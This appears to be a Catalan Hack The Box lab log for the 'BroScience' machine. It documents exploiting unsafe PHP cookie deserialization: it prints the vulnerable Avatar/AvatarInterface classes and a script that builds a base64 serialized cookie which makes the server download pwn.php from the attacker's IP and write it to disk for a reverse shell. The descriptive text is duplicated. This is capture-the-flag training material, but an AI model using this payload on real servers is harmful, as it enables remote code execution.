Persona --> Cristian
Temps --> 28/02/2023 --> 18:00 --> 19:00
Acció --> Crear una cookie per l'usuari amb una reverse shell
Endpoint --> https://broscience.htb/ (amb un usuari autenticat)
Resultat --> Aconseguim que el servidor carregui la cookie enverinada i es descarregui la reverse shell.
Output:
Primer de tot repassem el codi del fitxer utils.php i veiem dues coses interessants; la primera és que el servidor desserialitza la cookie de l'usuari, això ho veiem en el següent fragment del codi:
I la segona és que utilitza les classes "Avatar" i "AvatarInterface" per guardar fitxers de forma local en el servidor, això ho podem veure en el següent fragment de codi:
┌─[lao@parrot]─[~/broscience]
└──╼ $cat utils.php | sed -n 95,117p
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
Tenint en compte aquests elements podem mirar de crear una cookie per tal que el servidor es connecti cap a la nostra màquina i es descarregui una reverse shell. El primer pas és crear la cookie, per tant, mirem la IP de la nostra màquina:
┌─[✗]─[lao@parrot]─[~/broscience]
└──╼ $ip a | grep tun0
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
inet 10.10.14.74/23 scope global tun0
Tot seguit creem un fitxer php, aprofitant les funcions que hem trobat en l'utils.php, per crear el nostre payload i guardar-lo en una cookie. Cal comentar el nostre payload fa que el servidor es connecti a la nostra màquina i es descarregui el fitxer "pwn.php" (http://10.10.14.74/pwn.php):
┌─[lao@parrot]─[~/broscience]
└──╼ $cat serial.php
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp = "http://10.10.14.74/pwn.php";
public $imgPath = "./pwn.php";
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$payload = base64_encode(serialize(new AvatarInterface));
echo $payload;
?>
Per últim, executarem el fitxer php per obtenir la cookie:
Persona --> Cristian Temps --> 28/02/2023 --> 18:00 --> 19:00 Acció --> Crear una cookie per l'usuari amb una reverse shell Endpoint --> https://broscience.htb/ (amb un usuari autenticat) Resultat --> Aconseguim que el servidor carregui la cookie enverinada i es descarregui la reverse shell. Output:
Primer de tot repassem el codi del fitxer utils.php i veiem dues coses interessants; la primera és que el servidor desserialitza la cookie de l'usuari, això ho veiem en el següent fragment del codi:
I la segona és que utilitza les classes "Avatar" i "AvatarInterface" per guardar fitxers de forma local en el servidor, això ho podem veure en el següent fragment de codi:
Tenint en compte aquests elements podem mirar de crear una cookie per tal que el servidor es connecti cap a la nostra màquina i es descarregui una reverse shell. El primer pas és crear la cookie, per tant, mirem la IP de la nostra màquina:
Tot seguit creem un fitxer php, aprofitant les funcions que hem trobat en l'utils.php, per crear el nostre payload i guardar-lo en una cookie. Cal comentar el nostre payload fa que el servidor es connecti a la nostra màquina i es descarregui el fitxer "pwn.php" (http://10.10.14.74/pwn.php):
Per últim, executarem el fitxer php per obtenir la cookie: